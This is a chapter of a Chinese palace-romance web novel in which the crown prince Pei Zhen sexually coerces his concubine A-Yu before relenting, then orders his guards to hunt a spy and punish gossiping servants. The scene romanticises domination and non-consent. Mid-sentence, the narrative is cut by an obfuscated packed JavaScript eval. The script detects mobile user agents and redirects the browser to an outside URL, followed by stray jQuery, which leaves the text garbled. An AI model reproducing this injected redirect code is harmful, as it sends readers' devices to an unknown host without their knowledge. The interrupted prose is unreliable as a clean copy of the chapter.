26. 发疯
作品:《雌鸟》 反抗的劲儿上来了,阿玉在他怀中不停挣扎。
裴臻也不恼,每每给她逃脱的希望,又重新收紧臂弯将她困在怀里。
他就像一个不务正业的狱卒,专以逗弄人犯为乐,实际时刻将钥匙牢牢握在手中,所谓越狱的希望不过是引诱犯人犯错的烟雾弹。
屏退宫人,裴臻一路抱着她步入内间寝居。
阿玉感受到自己的行为不过是蚍蜉撼树,沮丧之余仍不愿放弃,却被轻轻丢到榻上。
“殿下?您怎么能这样?”望着他解腰间玉带的动作,阿玉不敢置信道。
为何他那么喜欢在白日做这事?
往日便也算了,昨夜他可是刚刚洞房花烛啊,今早还起得那么晚……
一想到这,阿玉就更加委屈,殿下到底将她当成了什么?
“你是孤的姬妾,在床榻上伺候孤不是理所当然么?”裴臻将外袍随意丢在地上,倾身覆上她身,按住她欲撑起床榻逃离的手腕,有力的长腿抵住她的双腿,将她压制得动弹不得。
说这句话的时候,他不似往日般温和,凛冽与不容拒绝的强硬暴露得淋漓尽致,昭显出他阴晴不定的本性。
往昔温润端方的君子远去,此时悬于阿玉上方的面容依旧俊美无双,却分明是名心思恶劣的匪徒。
他缓缓地将她的衣裙一件件剥落,行动间无比刻意,高高在上地欣赏起她挣扎无果的惊惶,并将享受乐趣的时间无限拉长。
“玉儿,孤是不是太宠着你了,胆子竟长这么多?”
“不过,孤很喜欢你这般。”
他接连说道,唇边再度扬起笑意,可在阿玉看来这笑容反而令她更加毛骨悚然,还不如不笑。
亲吻落在她的眉间唇上,从浅尝辄止到攻城略地。
呜咽的拒绝于唇齿纠葛中消解,灵活的舌头顶开齿贝,汲取渴望已久的甘霖。
他的手自小衣内探入,掌握住一切能掌握的,仔仔细细地为她效劳,要她因自己情动。
他是敌国派来游说的奸细,用缱绻柔情为饵,动摇她因过分熟悉他而不稳的军心。
初秋的寝殿中远远用不上暖炉,阿玉此刻上身已然只余一件半落未落的青色小衣,肩膀手臂整个露在外面,冷得直颤。
裴臻的话语中又佯装起疼惜,眼底却全无怜意:“玉儿,是不是冻着了?真可怜,孤替你暖暖。”
他那宛如名匠精心雕琢的手指一路绵延而下,如弹奏琵琶般。
真的够了,阿玉心想。
他到底以何等心态接连宠幸两个女人?
原来传言尽不可信,她也是个傻的,竟以为太子殿下是一等一的正人君子。
可不是君子又能如何,民间女子尚且和离艰难,既入皇家门则更无逃出生天的可能,在外人看来,能得一国储君如此荣宠,是她占了天大的便宜。
她忽然想起那幅被她妥善挂起在正殿的,裴臻亲笔赠她的画——
鸟儿居于明处画眼,暗处想来如应蔷所言,是条丝丝吐着毒信的蛇。
还是应蔷眼尖。
难怪应绮那般惧怕他,难怪东宫会有岐岭那种地方,难怪自遇着他之后,自己的心永远处于忽上忽下的状态。
一切都有迹可循,是她不自量力,一头栽进他以柔情设下的陷阱,便是在此刻,也控制不住因他而动的心。
“玉儿,给孤怀个孩子。”裴臻耐心地动作着手,搅起春水涟漪,薄唇紧贴着她的耳畔道。
此番言语郑重,目光灼热仿佛将在她身上点燃熊熊烈火。
“等你有了身孕,孤就封你为良媛,待孩子诞下,无论男女,你都是孤的侧妃。”他轻轻咬住她的耳畔,反复厮磨。
一切准备就绪,剑拔弩张之物也早已抵住阿玉。
小衣扯落,她在他面前再无隐私可言。
他说的没错,自己原本便是伺候他的姬妾,从前便做得,现在又矫情个什么劲?
可她也是人,方才唇齿交缠间她便万分难堪,一边怨他逼迫,一边怨自己沉沦,她没办法心无旁骛地接纳刚刚与旁人洞房过的所有,哪怕这种想法过于以下犯上。
她偏过头阖上双眼,眼角划过清浅泪滴,而后一发不可收拾,眼泪愈流愈多。
预想中的后续并未到来,裴臻将阿玉裹进被子里,起身下了榻。
“地下的衣物脏了,你唤宫女替你换身新的,孤走了,晚上再来看你。”裴臻话语清冷,仿佛刚刚的一切都是阿玉的一场梦。
阿玉睁开眼,身上锦被柔软,他腿间的异样分明未消。
见她沾染泪痕的双眼愣愣地看过来,裴臻哼笑出声:“怎么,舍不得孤?”
他的话音依旧那么动听,经过刚刚那遭,眸光中与温和截然相反的东西却是藏也不藏了。
阿玉张张口,不知该如何回应。
“玉儿,你记住了,你永远是孤的女人。”他言辞笃定,运筹帷幄。
说着地上脏,他这个做储君的倒是不嫌弃,将衣袍件件重新披上,扣上腰间玉带。
人与衣装皆是上品中的上品,今日面圣,他穿着身薄绯色衣袍,色泽明丽不输昨日的婚服,更衬得他容颜昳丽,迷惑性极强。
宽敞的外袍随着动作于腰间飘动,遮挡住他方才恶劣行径残留下的不平静。
阿玉瞥过眼,不愿再看他。
规规矩矩了那么久,她还是头回这样任性。她想,或许正如他所言,她被他宠出娇矜气了吧。
裴臻并不将她沉默当回事,这种毫无杀伤力的抗拒并不能对他造成任何实质性的损伤。
方才的小打小闹更像是情趣,最后是不管不顾还是心软停下,全由他一人掌握,他深知这点。
直到裴臻转身离去,阿玉才哽咽开口:“恭送殿下。”
她仰躺在榻上,平复良久。
“应绮,替我准备套新的衣裙。”待眼泪得以控制后,她扬声唤应绮。
应绮很快带着新襦裙来到寝殿中,看到地上零落的衣物与阿玉红肿的眼眶,她面上有些愣怔,末了心疼道:“娘娘,奴婢为您再端盆凉水,给您敷敷眼睛。”
“劳烦了。”阿玉没有拒绝。
***
未能在栖鸾殿中如愿以偿,裴臻回到书房后再看卷宗到底提不起劲,他此刻有些懊恼,为何仅仅因为阿玉的眼泪便决意放过她,自己何时这般好心了?
心情不好,便有人要倒霉,他唤来隐在暗处的卫启,神情不快地开口:“卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019989|159671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
启,有关齐太子护卫一事,你们探查多久未出结果了?”
“回殿下,自您与娘娘被窥视那日,城门就安排过严审,每名出城的人都经过仔细排查,一直未发现此人出城的痕迹。”卫启自知办事不力,单膝跪下。
裴臻冷笑,眼神凉凉地掠过卫启头顶,道:“人在曲城也能不见影踪,暗卫这么多年的布置便是纸糊的么?倘若此人有心谋害孤,怕是潜入东宫你们都当太平无事呢?”
“殿下,这人身手极好,狡兔三窟,曲城近两百万人口,挨家挨户不惊动百姓的摸查需要一段时日……”卫启冷汗直冒,从前都是卫风跟在他身边,他不得不佩服卫风,年纪轻轻便能承受住如此大的压力。
“够了,孤再给你们十日时间。”
裴臻未将话说完,但就着他意味深长的眼神,卫启读懂了他的意思。
“是。”
“郑丛一家何日处斩?”一方没听到好消息,裴臻又问起件板上钉钉的事。
“回殿下,就在四日后午时。”卫启回道。
唇间终于扬起真心实意的微笑,他满意地吩咐:“安排下去,孤四日后要与承徽出宫游玩。”
***
当晚,裴臻如白日所说的,再次踏入栖鸾殿。
上了榻,阿玉被他抱在怀中亲吻,但出乎意料的,除此之外他并未有更多的动作。
“孤不会强迫你。”他放下这句话,扣熄榻边宫灯。
阿玉倒是不觉得做与不做下去有什么区别,既已经过大婚,想必不可能独独略去亲吻,白日她哭,也不是因为最后一步,只是眼泪积攒到那时恰好爆发。
裴臻不知她心中所想,只觉来日方长,他会像从前一般徐徐图之,让她心甘情愿。
就这样平静地过了两日,裴臻仿佛没有迎娶过太子妃一样,每晚仍宿在栖鸾殿。
凤阳阁那边也未有任何不满,平静得仿佛里面没住人。
东宫宫人纷纷暗中称奇,这位宫女出身的孙承徽当真得宠,也好生嚣张,这样缠着殿下置太子妃于不顾。怕是等日后殿下登上大位,少不得要被封个妃位,就是贵妃也未尝不可能。
阿玉也听到了风声,第三日晚上裴臻来时,她再次开口相劝:“殿下,请您去凤阳阁看望太子妃娘娘。”
裴臻向来面不改色的脸上生出裂痕,他生硬地微笑道:“孙承徽好生大度,将孤往外推。”
“殿下说笑了,殿下在妾身这里多日,原是太子妃娘娘大度。”阿玉道。
“很好,孤如你所愿。”裴臻深深地望她一眼,拂袖离去。
想着是该关心关心表嫂与侄儿,他去往凤阳阁。
“殿下来做什么?”裴臻乍然出现,严凤霄不由皱眉,显然并不欢迎他。
她正拉着两名妇兵并一名东宫侍女玩叶子戏,此刻裴臻来了,只得散场。
“近来可有不适?”裴臻意有所指。
“挺好的。”知道他是问腹中孩子,严凤霄如实道,她算是幸运,暂时未有孕反。
“那便好。”裴臻没有多言,问候过她便回到书房。
“将嚼舌根的人都处置了,男子送进内侍省,女子,算了,女子去岐岭做扫洒。”他神情不耐地吩咐卫启。